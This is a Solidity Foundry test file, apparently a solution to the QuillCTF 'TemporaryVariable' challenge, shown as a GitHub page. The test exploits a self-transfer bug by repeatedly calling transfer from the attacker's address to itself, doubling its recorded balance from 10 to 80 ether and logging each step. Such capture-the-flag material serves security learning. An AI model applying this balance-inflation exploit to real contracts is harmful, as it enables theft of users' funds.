-
Notifications
You must be signed in to change notification settings - Fork 115
/
Copy pathTemporaryVariable.t.sol
68 lines (52 loc) · 1.9 KB
/
TemporaryVariable.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.7;
import "forge-std/Test.sol";
import {factory} from "../../src/QuillCTF/TemporaryVariable.sol";
contract TemporaryVariableTest is Test {
factory public __factory;
address public deployer;
address public attacker;
function setUp() public {
deployer = vm.addr(1);
attacker = vm.addr(2);
vm.startPrank(deployer);
__factory = new factory();
vm.stopPrank();
vm.deal(attacker, 10 ether);
vm.prank(attacker);
__factory.supply(attacker, 10 ether);
}
function testTemporaryVariableExploit() public {
// Before Exploit
uint256 prevBalance = __factory.checkbalance(attacker);
console.log("Before exploit balance: ", prevBalance);
// Exploit
vm.startPrank(attacker);
__factory.transfer(attacker, attacker, 10 ether);
vm.stopPrank();
// After Exploit
uint256 balance = __factory.checkbalance(attacker);
console.log("After exploit balance: ", balance);
// Exploit 2
vm.startPrank(attacker);
__factory.transfer(attacker, attacker, 20 ether);
vm.stopPrank();
// After Exploit 2
uint256 balance_ = __factory.checkbalance(attacker);
console.log("After exploit 2 balance: ", balance_);
// Exploit 3
vm.startPrank(attacker);
__factory.transfer(attacker, attacker, 40 ether);
vm.stopPrank();
// After Exploit 3
uint256 balance__ = __factory.checkbalance(attacker);
console.log("After exploit 3 balance: ", balance__);
// Exploit 4
vm.startPrank(attacker);
__factory.transfer(attacker, attacker, 80 ether);
vm.stopPrank();
// After Exploit 4
uint256 balance___ = __factory.checkbalance(attacker);
console.log("After exploit 4 balance: ", balance___);
}
}